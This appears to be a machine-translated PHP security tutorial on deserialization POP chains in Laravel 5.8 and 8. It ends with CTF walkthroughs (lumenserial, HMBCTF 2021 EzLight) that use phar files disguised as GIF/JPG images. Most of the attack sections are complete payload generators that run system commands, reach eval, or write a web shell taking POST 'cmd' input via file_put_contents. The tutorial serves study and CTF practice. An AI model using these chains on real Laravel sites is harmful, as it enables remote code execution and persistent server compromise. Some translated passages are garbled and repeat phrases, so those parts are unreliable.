Laravel5.8.x deserializes the POP chain

Installation: –prefer-dist indicates that the zip package is downloaded preferentially

Composer create-project --prefer-dist laravel/laravel=5.8.* Laravel5.8Copy the code

Add it in the routing file routes/web.php

Route::get('/foo', function () {
    if(isset($_GET['c'])){
        $code = $_GET['c'];
        unserialize($code);
    }
    else{
        highlight_file(__FILE__);
    }
    return "Test laravel5.8 pop";
});
Copy the code

Then create a PHP service in the public directory to test

CD /public PHP -s 0.0.0.0:port /foo? c=Copy the code

A chain

The entry to the chain is at laravel5.8\vendor\laravel\framework\ SRC \Illuminate\Broadcasting\ pendingbroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
Copy the code

$this->events = Dispatcher; $this->events = Dispatcher; We see laravel5.8\vendor\laravel\framework\ SRC \Illuminate\Bus\ dispatcher.php

public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }
        return $this->dispatchNow($command);
    }
Copy the code

Track into commandShouldBeQueued

protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }
Copy the code

$command ($this->event) should implement a ShouldQueue interface

ShouldQueue implementation class, let’s go to dispatchToQueue

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);
Copy the code

$this->queueResolver and $connection are both controllable

rce

<? php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } } namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a))); }Copy the code

The eval perform

At this point, we can call any method of any class, but call_user_func cannot execute eval. If our system is banned, we need to continue to find functions that execute any commands. We find laravel5.8. vendor/shanzhai/shanzhai/library/shanzhai/Loader/EvalLoader

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}
Copy the code

There’s an eval function, and you need to bypass the if statement on eval, otherwise you just return

The $definition variable is the MockDefinition class, so follow up

class MockDefinition { protected $config; protected $code; . public function getClassName() { return $this->config->getName(); } public function getCode() { return $this->code; }}Copy the code

$config ->getClassName(); $code ->getClassName(); $config ->getClassName()

Laravel5.8, vendor, mockery, mockery, library, mockery, the Generator \ MockConfiguration PHP

class MockConfiguration { ... public function getName() { return $this->name; }... }Copy the code

Content is as follows

<? php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config) { $this->config = $config; $this->code = '<? php phpinfo(); ? > '; } } } namespace Mockery\Generator{ class MockConfiguration { protected $name = "none class"; } } namespace Mockery\Loader{ class EvalLoader { public function load(MockDefinition $definition) { } } } namespace { $config = new \Mockery\Generator\MockConfiguration(); $connection = new \Mockery\Generator\MockDefinition($config); $event = new \Illuminate\Broadcasting\BroadcastEvent($connection); $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load"); $events = new \Illuminate\Bus\Dispatcher($queueResolver); $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event); echo urlencode(serialize($pendingBroadcast)); }Copy the code

Using the springboard

If the target disables system or other functions, we want to use file_put_contents to write shell or other two-parameter functions. Here is a good springboard laravel5.8. vendor\phpoption\phpoption\ SRC \phpoption\ lazyoption.php

final class LazyOption extends Option { ... public function filter($callable) { return $this->option()->filter($callable); }... private function option() { if (null === $this->option) { /** @var mixed */ $option = call_user_func_array($this->callback, $this->arguments);Copy the code

$this->arguments ($this->arguments); $this->arguments (); But there are many functions like filter that call option

You can construct payload directly here

<? php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } } namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } } } namespace { $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher(array($d,"filter")); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a))); }Copy the code

Chain 2

The entrance is also

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
Copy the code

A class that does not implement a dispatch method but has a __call method can be called directly. Find laravel5.8 \ vendor \ laravel \ framework \ SRC \ Illuminate, Validation, the Validator. PHP

class Validator implements ValidatorContract
{
    ...
public function __call($method, $parameters)
    {
        $rule = Str::snake(substr($method, 8));

        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }
Copy the code

$method is a fixed string dispatch that is passed to $rule empty, and then $this-> Extensions can be controlled

Trace into the callExtension method

protected function callExtension($rule, $parameters)
    {
        $callback = $this->extensions[$rule];

        if (is_callable($callback)) {
            return call_user_func_array($callback, $parameters);
Copy the code

$callback and $parameters are controllable, so you can construct the payload

<? php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation{ class Validator{ protected $extensions; public function __construct($extensions) { $this->extensions = $extensions; } } } namespace{ $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id'); echo urlencode(serialize($a)); }Copy the code

This chain also works in Laravel8

Using the springboard

You can also add LazyOption as a springboard

<? php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } } } namespace PhpOption { class LazyOption { private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } } } namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter'))); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a))); }Copy the code

Laravel8 deserializes the POP chain

Laravel8 has three links that are not too different from Laravel5.8, and there is a phpnFO entry class that is also classic

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
Copy the code

$this->events and $this->event are controllable

Again, there are two methods. If $this->events is a class that has a Dispatch method, we can call that class’s Dispatch method

Otherwise, if $this->events is a class that does not implement the dispatch method but has a __call method, the __call method can be called

See laravel859 \ vendor \ laravel \ framework \ SRC \ Illuminate \ views \ InvokableComponentVariable PHP

public function __call($method, $parameters) { return $this->__invoke()->{$method}(... $parameters); } /** * Resolve the variable. * * @return mixed */ public function __invoke() { return call_user_func($this->callable); }Copy the code

$this->callable = $this->callable = $this->callable = $this->callable = $this->callable

<? php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\View { class InvokableComponentVariable { protected $callable; public function __construct($callable) { $this->callable = $callable; } } } namespace { $b = new Illuminate\View\InvokableComponentVariable('phpinfo'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1); print(urlencode(serialize($a))); }Copy the code

$this->callable = $this->callable = $this->callable = $this->callable = $this->callable = $this->callable = $this->callable

The CTF topic

lumenserial

Lumenserial \routes\web.php

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
Copy the code

To see

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller
{
private function download($url)
    {
...
        $content = file_get_contents($url);
Copy the code

$url = file_get_contents; $url = file_get_contents

class EditorController extends Controller
{
    ...
protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];

        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }
Copy the code

We see that Main discovers that he is calling methods that begin with do through call_user_func

class EditorController extends Controller
{
    ...
public function main(Request $request)
    {
        $action = $request->query('action');

        try {
            if (is_string($action) && method_exists($this, "do{$action}")) {
                return call_user_func([$this, "do{$action}"], $request);
            } else {
Copy the code

The following control variables can be used

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif
Copy the code

Then add the following to the base of the 5.8 chain above

@unlink("test.phar"); $phar = new \Phar("test.phar"); // The suffix must be phar $phar->startBuffering(); $phar->setStub('GIF89a'.'<? php __HALT_COMPILER(); ? > '); // Set stub $phar->setMetadata($pendingBroadcast); Manifest $phar->addFromString("test.txt", "test"); $phar->stopBuffering();Copy the code

Upload the Phar file and use the Phar protocol to type

[HMBCTF 2021]EzLight

Zip source code, is the Laravel framework developed lightcms, first in the local environment together first, mainly modify. Env file to change the database information

To see the source Http \ Controllers \ source \ app \ \ Admin \ NEditorController PHP

public function catchImage(Request $request)
    {
    ...
    $files = array_unique((array) $request->post('file'));
        $urls = [];
        foreach ($files as $v) {
            $image = $this->fetchImageFile($v);
Copy the code

In the catchImage function, post to the file parameter and then to the fetchImageFile $URL

protected function fetchImageFile($url)
    {
    if (isWebp($data)) {
                $image = Image::make(imagecreatefromwebp($url));
                $extension = 'webp';
            } else {
                $image = Image::make($data);
            }
Copy the code

$url can be controlled, imagecreateFromWebp can’t be accessed because of isWebp, so the branch here is Image::make($data); Come, we here a breakpoint, then analyze the previous code, we need to put a link to the picture on the VPS, then in http://127.0.0.1:9001/admin/neditor/serve/catchImage parameter dynamic debugging

And then you go all the way down and you see that there’s a file_get_contents function

That’s it. Now you can deserialize phar

Use the chain on top

<? php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } } namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } } } namespace { $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher(array($d,"filter")); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a))); @unlink("test.phar"); $phar = new \Phar("test.phar"); // The suffix must be phar $phar->startBuffering(); $phar->setStub('GIF89a'.'<? php __HALT_COMPILER(); ? > '); // Set stub $phar->setMetadata($a); Manifest $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); rename('test.phar','test.jpg'); }Copy the code

Once uploaded, put it on VPS

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

Copy the code

To/admin/neditor/serve/catchImage file transfer and play

This article deals with the experiment: PHP deserialization vulnerability experiment (through this experiment, you will understand what deserialization vulnerability is, the cause of deserialization vulnerability and how to discover and prevent such vulnerability).